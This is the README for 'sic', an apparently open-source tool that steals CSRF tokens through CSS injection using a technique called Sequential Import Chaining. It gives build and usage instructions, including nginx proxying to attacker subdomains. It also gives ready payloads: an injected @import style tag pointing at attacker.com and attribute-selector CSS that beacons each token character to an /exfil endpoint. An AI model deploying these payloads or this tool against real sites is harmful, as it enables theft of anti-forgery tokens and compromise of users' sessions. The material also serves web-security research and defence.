Typical CSS injection requires an attacker to load the context a number of times to exfiltrate sensitive tokens from a page. Usually the vector for this is via iframing which isn't always possible, especially if the target is using x-frame-options: deny
or x-frame-options: sameorigin
. This can be further complicated if the victim needs to interact with the target to trigger the injection (perhaps due to dynamic behavior on the page).
Sequential import chaining is a technique that enable a quicker, easier, token exfiltration even in the cases where framing isn't possible or the dynamic context is only occasionally realized.
I wrote a blog post on this. Read about it here!
This attack only works if the attacker at least one of these:
- Style tag injection (HTML injection, for example)
- Control of CSS at the top of a style tag.
The first case is probably more likely and will work even if filtered through vanilla DOM Purify.
- Install RustUp (https://rustup.rs/ -
curl https://sh.rustup.rs -sSf | sh
) - Install the nightly (
rustup install nightly
) - Default to nightly (
rustup default nightly
) - Build with cargo (
cargo build --release
)
You will find the built binary at ./target/release/sic
sic
has documentation on the available flags when calling sic -h
but the following is information for general usage.
-p
will set the lower port thatsic
will operate on. By default this is 3000.sic
will also listen on portport + 1
(by default 3001) to circumvent a technical limitation in most browsers regarding open connection limits.--ph
sets the hostname that the "polling host" will operate on. This can either be the lower or higher operating port, though it's traditionally the lower port. Defaults tohttp://localhost:3000
. This must be different than--ch
--ch
similar to--ph
but this sets the "callback host" where tokens are sent. Defaults tohttp://localhost:3001
. This must be different than--ph
.-t
specifies the template file used to generate the token exfiltration payloads.--charset
specifies the set of characters that may exist in the target token. Defaults to alphanumerics (abc...890
).
A standard usage of this tool may look like the following:
./sic -p 3000 --ph "http://localhost:3000" --ch "http://localhost:3001" -t my_template_file
And the HTML injection payload you might use would look like:
<style>@import url(http://localhost:3000/staging?len=32);</style>
The len
parameter specifies how long the token is. This is necessary for sic
to generate the appropriate number of /polling
responses. If unknown, it's safe to use a value higher than the total number of chars in the token.
sic
will print minimal logs whenever it receives any token information; however, if you want more detailed information advanced logging is supported through an environment variable RUST_LOG
.
RUST_LOG=info ./sic -t my_template_file
The templating system is very straightforward for sic
. There are two actual templates (probably better understood as 'placeholders'):
{{:token:}}
- This is the current token that we're attempting to test for. This would be thexyz
ininput[name=csrf][value^=xyz]{...}
{{:callback:}}
- This is the address that you want the browser to reach out to when a token is determined. This will be the callback host (--ch
). All the informationsic
needs to understand what happened client-side will be in this url.
An example template file might look like this:
input[name=csrf][value^={{:token:}}] { background: url({{:callback:}}); }
sic
will automatically generate all of the payloads required for your attack and make sure it's pointing to the right callback urls.
HTTPS is not directly support via sic
; however, it's possible to use a tool like nginx to set up a reverse proxy in front of sic
. An example configuration is found in the example nginx config file thoughtfully crafted up by nbk_2000.
After nginx is configured, you would run sic
using a command similar to the following:
./sic -p 3000 --ph "https://a.attacker.com" --ch "https://b.attacker.com" -t template_file
Note that the ports on --ph
and --ch
match up with the ports nginx is serving and not sic
.
For a better story and additional information, please see my blog post on Sequential Import Chaining here.
The idea behind CSS injection token exfiltration is simple: You need the browser to evaluate your malicious css once, send an outbound request with the next learned token, and repeat.
Obviously the "repeat" part is normally done using a full frame reload (iframing, or tabs... blah).
However, we don't actually need to reload the frame to get the browser to reevaluate new CSS.
Sequential Import Chaining uses 3 easy steps to trick some browser into performing multiple evaluations:
- Inject an
@import
rule to the staging payload - Staging payload uses
@import
to begin long-polling for malicious payloads - Payloads cause browser to call out using
background-img: url(...)
causing the next long-polled@import
rule to be generated and returned to the browser.
Here's an example of what these might look like:
<style>@import url(http://attacker.com/staging?len=32);</style>
@import url(http://attacker.com/lp?len=0);
@import url(http://attacker.com/lp?len=1);
@import url(http://attacker.com/lp?len=2);
...
@import url(http://attacker.com/lp?len=31); // in the case of a 32 char long token
This is a unique, configurable template in sic
because this part is very context specific to the vulnerable application.
input[name=xsrf][value^=a] { background: url(http://attacker.com/exfil?t=a); }
input[name=xsrf][value^=b] { background: url(http://attacker.com/exfil?t=b); }
input[name=xsrf][value^=c] { background: url(http://attacker.com/exfil?t=c); }
...
input[name=xsrf][value^=Z] { background: url(http://attacker.com/exfil?t=Z); }
After the browser calls out to http://attacker.com/exfil?t=<first char of token>
, sic
records the token, generate the next long-polled payload, and return a response for http://attacaker.com/lp?len=1
.
input[name=xsrf][value^=sa] { background: url(http://attacker.com/exfil?t=sa); }
input[name=xsrf][value^=sb] { background: url(http://attacker.com/exfil?t=sb); }
input[name=xsrf][value^=sc] { background: url(http://attacker.com/exfil?t=sc); }
...
input[name=xsrf][value^=sZ] { background: url(http://attacker.com/exfil?t=sZ); }
This repeats until no more long-polled connections are open.
Shoutout to the following hackers for help in one way or another.